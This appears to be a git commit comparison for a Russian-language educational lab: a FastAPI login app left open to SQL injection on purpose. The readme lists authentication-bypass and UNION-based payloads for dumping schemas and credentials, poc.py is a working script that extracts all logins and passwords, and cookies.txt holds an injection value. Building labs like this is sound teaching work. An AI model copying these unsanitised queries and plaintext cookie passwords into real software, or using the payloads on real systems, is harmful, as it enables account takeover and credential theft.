Compare commits

...

10 Commits

Author SHA1 Message Date
59aaa4ced6 added argparse for poc and requirements 2025-12-16 02:30:55 +10:00
d448005293 working poc added
MY BRAIN IS MELTIIINNG
2025-12-16 02:26:01 +10:00
a7ee7331f8 exploit is now possible 2025-12-16 02:15:51 +10:00
06900e2768 removed unused endpoint 2025-12-16 01:55:09 +10:00
a24c1f0957 unfixing safe code 2025-12-16 01:51:19 +10:00
3086d1801d minimal visual improvements 2025-12-15 23:07:46 +10:00
5c4590ff16 vunerability added 2025-12-15 23:05:11 +10:00
c7d8803795 table creation added 2025-12-15 22:44:12 +10:00
9a1b84c267 minimal building container 2025-12-15 22:27:26 +10:00
d3e5abbc98 added readme (seems like i'm reaching my limits and getting tired) 2025-12-15 21:10:41 +10:00
9 changed files with 330 additions and 0 deletions

4
.gitignore vendored Normal file
View File

@@ -0,0 +1,4 @@
build
.vscode
**__pycache__
data

11
Dockerfile Normal file
View File

@@ -0,0 +1,11 @@
FROM python:3.11-slim
WORKDIR /app
COPY ./requirements.txt /app/requirements.txt
RUN pip install --no-cache-dir --upgrade -r /app/requirements.txt
COPY ./src /app/src
CMD ["fastapi","run", "./src/app.py"]

7
compose.yaml Normal file
View File

@@ -0,0 +1,7 @@
services:
vunerable-web-app:
image: kulesh_web-app:v0.0.1a
ports:
- "80:8000"
volumes:
- ./data/:/app/data

6
cookies.txt Normal file
View File

@@ -0,0 +1,6 @@
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
localhost FALSE / FALSE 0 password a
localhost FALSE / FALSE 0 login "' or 1=1-- "

32
poc.py Executable file
View File

@@ -0,0 +1,32 @@
#!/usr/bin/env python3
import requests
import re
import argparse
parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
args = parser.parse_args()
BASE_URL = args.base_url
login_payload = "' UNION SELECT login FROM users--"
form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password_payload = "' UNION SELECT password FROM users--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_passwords = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
passwords_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_passwords.text).group(1)
logins= logins_raw.split("',), ('")
passwords = passwords_raw.split("',), ('")
if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)):
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
else:
print("Не удалось извлечь данные.")

1
poc_recs.txt Normal file
View File

@@ -0,0 +1 @@
requests

112
readme.md Normal file
View File

@@ -0,0 +1,112 @@
# Kulesh_Web_app - Уязвимое веб-приложение
Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI.
## Функциональность приложения
- ✅ Регистрация пользователей
- ✅ Авторизация пользователей
- ✅ Cookie-аутентификация
- ✅ Страница приветствия для авторизованных пользователей
- ✅ Docker-контейнеризация
## Сборка и запуск
### Сборка Docker-образа
```bash
docker build -t kulesh_web-app:v0.0.1a .
```
### Запуск приложения
```bash
docker compose up
```
Приложение будет доступно по адресу: http://localhost:8000
## Работа с CURL
### Регистрация пользователя Administrator
```bash
curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register
```
### Регистрация пользователя Kulesh_AS
```bash
curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register
```
### Авторизация через CURL
```bash
curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login
```
### Доступ к защищенной странице
```bash
curl -b cookies.txt http://localhost:8000/welcome
```
## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
### SQL-инъекция через форму авторизации
Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:
```python
cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")
```
Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.
### Базовый обход аутентификации
**Payload для поля login:**
```sql
' OR 1=1--
```
**Поле password:** (любое значение)
Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.
### Извлечение информации о базе данных
#### 1. Получение списка подключенных файлов БД:
```sql
' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --
```
#### 2. Получение списка пользовательских таблиц:
```sql
' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --
```
#### 3. Получение схем всех таблиц:
```sql
' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --
```
#### 4. Извлечение всех пользователей и паролей:
```sql
' UNION SELECT id, login, password FROM users --
```
#### 5. Получение данных конкретного пользователя Administrator:
```sql
' UNION SELECT id, login, password FROM users WHERE login='Administrator' --
```
### Пошаговая эксплуатация
1. **Откройте форму входа:** http://localhost:8000/login
2. **Введите базовый payload для обхода аутентификации:**
- Login: `' OR 1=1--`
- Password: `test`
3. **Для извлечения данных используйте UNION-based инъекцию:**
- Login: `' UNION SELECT id, login, password FROM users --`
- Password: `test`
4. **В ответе на странице приветствия вы увидите данные всех пользователей**

1
requirements.txt Normal file
View File

@@ -0,0 +1 @@
fastapi[standard]

156
src/app.py Normal file
View File

@@ -0,0 +1,156 @@
import sqlite3
from fastapi import FastAPI
from fastapi import Request, Form
from fastapi.responses import HTMLResponse, RedirectResponse
DB_PATH = "./data/database.db"
conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor()
cursor.execute(
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
)
app = FastAPI(
docs_url=None, # Disable Swagger UI
redoc_url=None, # Disable ReDoc
openapi_url=None, # Disable OpenAPI JSON schema
)
STYLES = """
<style>
body {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 100vh;
}
</style>
"""
@app.get("/register", response_class=HTMLResponse)
async def register_form():
return f"""
<html>
<head><title>Регистрация</title>{STYLES}</head>
<body>
<h2>Регистрация</h2>
<form action="/register" method="post">
<input name="login" placeholder="Login" required><br>
<input name="password" type="password" placeholder="Password" required><br>
<button type="submit">Register</button>
</form>
<p>Уже есть аккаунт? <a href="/login">Войти</a></p>
</body>
</html>
"""
@app.post("/register")
async def register(login: str = Form(...), password: str = Form(...)):
try:
cursor.execute(
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
)
conn.commit()
response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login)
response.set_cookie("password", password)
return response
except sqlite3.IntegrityError:
return HTMLResponse(
f"""
<html>
<head><title>Ошибка регистрации</title>{STYLES}</head>
<body>
<h3>Login уже существует</h3>
<a href='/register'>Попробовать снова</a>
</body>
</html>
""",
status_code=400,
)
@app.get("/login", response_class=HTMLResponse)
async def login_form():
return f"""
<html>
<head><title>Вход</title>{STYLES}</head>
<body>
<h2>Вход</h2>
<form action="/login" method="post">
<input name="login" placeholder="Login" required><br>
<input name="password" type="password" placeholder="Password" required><br>
<button type="submit">Login</button>
</form>
<p>Нет аккаунта? <a href="/register">Зарегистрироваться</a></p>
</body>
</html>
"""
@app.post("/login")
async def login(login: str = Form(...), password: str = Form(...)):
cursor.execute(
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
)
user = cursor.fetchall()
if user:
response = RedirectResponse(url="/welcome", status_code=302)
response.set_cookie("login", login)
response.set_cookie("password", password)
return response
else:
return HTMLResponse(
f"""
<html>
<head><title>Ошибка входа</title>{STYLES}</head>
<body>
<h3>Неверные учетные данные</h3>
<a href='/login'>Попробовать снова</a>
</body>
</html>
""",
status_code=401,
)
@app.get("/welcome", response_class=HTMLResponse)
async def welcome(request: Request):
login = request.cookies.get("login")
password = request.cookies.get("password")
if not login or not password:
return RedirectResponse(url="/login")
query=f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
print(f"executing: {query}")
cursor.execute(
query
)
user = cursor.fetchall()
if user:
return f"""
<html>
<head><title>Добро пожаловать</title>{STYLES}</head>
<body>
<h1>Привет, {str(user)[3:-4]}</h1>
<button onclick="
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
window.location.href = '/login';
">Выйти</button>
</body>
</html>
"""
else:
return RedirectResponse(url="/login")
@app.get("/", include_in_schema=False)
async def root():
return RedirectResponse(url="/login")